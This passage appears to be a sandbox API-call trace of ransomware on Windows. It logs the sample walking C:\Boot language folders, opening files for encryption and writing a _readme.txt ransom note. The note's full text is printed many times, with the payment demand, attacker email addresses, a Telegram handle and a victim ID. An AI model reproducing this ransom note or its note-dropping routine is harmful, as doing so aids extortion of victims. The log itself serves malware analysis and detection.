tool:\r\nhttps://we.tl/t-Uwo9T1cpFc\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n113Asd3768237Ihsdf" [0112.843] lstrcatW (in: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-Uwo9T1cpFc\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n113Asd3768237Ihsdf", lpString2="BfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-Uwo9T1cpFc\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n113Asd3768237IhsdfBfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-Uwo9T1cpFc\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n113Asd3768237IhsdfBfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62" [0112.843] CreateFileW (lpFileName="C:\\Boot\\pt-PT\\_readme.txt" (normalized: "c:\\boot\\pt-pt\\_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0112.843] FindFirstFileW (in: lpFileName="C:\\Boot\\pt-PT\\*", lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x32a6848 [0112.843] PathFindExtensionW (pszPath="C:\\Boot\\pt-PT\\bootmgr.exe.mui") returned=".mui" [0112.843] CreateFileW (lpFileName="C:\\Boot\\pt-PT\\bootmgr.exe.mui" (normalized: "c:\\boot\\pt-pt\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0112.843] FindClose (in: hFindFile=0x32a6848 | out: hFindFile=0x32a6848) returned 1 [0112.844] PeekMessageW (in: lpMsg=0x3b2ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3b2ff08) returned 0 [0112.844] PeekMessageW (in: lpMsg=0x3b2fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3b2fb74) returned 0 [0112.844] PathFindFileNameW (pszPath="C:\\Boot\\ru-RU\\") returned="ru-RU\\" [0112.844] PathFindFileNameW (pszPath="C:\\Boot\\") returned="Boot\\" [0112.844] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0112.844] PathFindFileNameW (pszPath="") returned="" [0112.844] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x75b00000 [0112.844] GetProcAddress (hModule=0x75b00000, lpProcName="SHGetFolderPathW") returned 0x75b85708 [0112.844] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x331d740 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0112.844] FreeLibrary (hLibModule=0x75b00000) returned 1 [0112.844] PathAppendW (in: pszPath="C:\\Boot\\ru-RU\\", pMore="_readme.txt" | out: pszPath="C:\\Boot\\ru-RU\\_readme.txt") returned 1 [0112.844] PathFileExistsW (pszPath="C:\\Boot\\ru-RU\\_readme.txt") returned 0 [0112.844] lstrcpyW (in: lpString1=0x3321120, lpString2="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-Uwo9T1cpFc\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n113Asd3768237Ihsdf" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-Uwo9T1cpFc\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n113Asd3768237Ihsdf") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-Uwo9T1cpFc\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n113Asd3768237Ihsdf" [0112.844] lstrcatW (in: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-Uwo9T1cpFc\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n113Asd3768237Ihsdf", lpString2="BfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-Uwo9T1cpFc\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n113Asd3768237IhsdfBfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-Uwo9T1cpFc\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n113Asd3768237IhsdfBfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62" [0112.845] CreateFileW (lpFileName="C:\\Boot\\ru-RU\\_readme.txt" (normalized: "c:\\boot\\ru-ru\\_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0112.845] FindFirstFileW (in: lpFileName="C:\\Boot\\ru-RU\\*", lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x32a6848 [0112.845] PathFindExtensionW (pszPath="C:\\Boot\\ru-RU\\bootmgr.exe.mui") returned=".mui" [0112.845] CreateFileW (lpFileName="C:\\Boot\\ru-RU\\bootmgr.exe.mui" (normalized: "c:\\boot\\ru-ru\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0112.845] FindClose (in: hFindFile=0x32a6848 | out: hFindFile=0x32a6848) returned 1 [0112.845] PeekMessageW (in: lpMsg=0x3b2ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3b2ff08) returned 0 [0112.845] PeekMessageW (in: lpMsg=0x3b2fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3b2fb74) returned 0 [0112.845] PathFindFileNameW (pszPath="C:\\Boot\\sv-SE\\") returned="sv-SE\\" [0112.846] PathFindFileNameW (pszPath="C:\\Boot\\") returned="Boot\\" [0112.846] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0112.846] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x75b00000 [0112.846] GetProcAddress (hModule=0x75b00000, lpProcName="SHGetFolderPathW") returned 0x75b85708 [0112.846] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x331d740 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0112.846] FreeLibrary (hLibModule=0x75b00000) returned 1 [0112.846] PathAppendW (in: pszPath="C:\\Boot\\sv-SE\\", pMore="_readme.txt" | out: pszPath="C:\\Boot\\sv-SE\\_readme.txt") returned 1 [0112.846] PathFileExistsW (pszPath="C:\\Boot\\sv-SE\\_readme.txt") returned 0 [0112.846] lstrcpyW (in: lpString1=0x3321120, lpString2="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-Uwo9T1cpFc\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n113Asd3768237Ihsdf" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-Uwo9T1cpFc\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n113Asd3768237Ihsdf") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-Uwo9T1cpFc\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n113Asd3768237Ihsdf" [0112.846] lstrcatW (in: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-Uwo9T1cpFc\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n113Asd3768237Ihsdf", lpString2="BfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-Uwo9T1cpFc\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n113Asd3768237IhsdfBfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-Uwo9T1cpFc\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n113Asd3768237IhsdfBfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62" [0112.846] CreateFileW (lpFileName="C:\\Boot\\sv-SE\\_readme.txt" (normalized: "c:\\boot\\sv-se\\_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0112.847] FindFirstFileW (in: lpFileName="C:\\Boot\\sv-SE\\*", lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x32a6848 [0112.847] PathFindExtensionW (pszPath="C:\\Boot\\sv-SE\\bootmgr.exe.mui") returned=".mui" [0112.847] CreateFileW (lpFileName="C:\\Boot\\sv-SE\\bootmgr.exe.mui" (normalized: "c:\\boot\\sv-se\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0112.847] FindClose (in: hFindFile=0x32a6848 | out: hFindFile=0x32a6848) returned 1 [0112.847] PeekMessageW (in: lpMsg=0x3b2ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3b2ff08) returned 0 [0112.847] PeekMessageW (in: lpMsg=0x3b2fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3b2fb74) returned 0 [0112.847] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x75b00000 [0112.847] GetProcAddress (hModule=0x75b00000, lpProcName="SHGetFolderPathW") returned 0x75b85708 [0112.848] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x331d740 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0112.848] FreeLibrary (hLibModule=0x75b00000) returned 1 [0112.848] PathAppendW (in: pszPath="C:\\Boot\\tr-TR\\", pMore="_readme.txt" | out: pszPath="C:\\Boot\\tr-TR\\_readme.txt") returned 1 [0112.848] PathFileExistsW (pszPath="C:\\Boot\\tr-TR\\_readme.txt") returned 0 [0112.848] lstrcpyW (in: lpString1=0x3321120, lpString2="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-Uwo9T1cpFc\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n113Asd3768237Ihsdf" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-Uwo9T1cpFc\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n113Asd3768237Ihsdf") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-Uwo9T1cpFc\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n113Asd3768237Ihsdf" [0112.848] lstrcatW (in: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-Uwo9T1cpFc\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n113Asd3768237Ihsdf", lpString2="BfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview 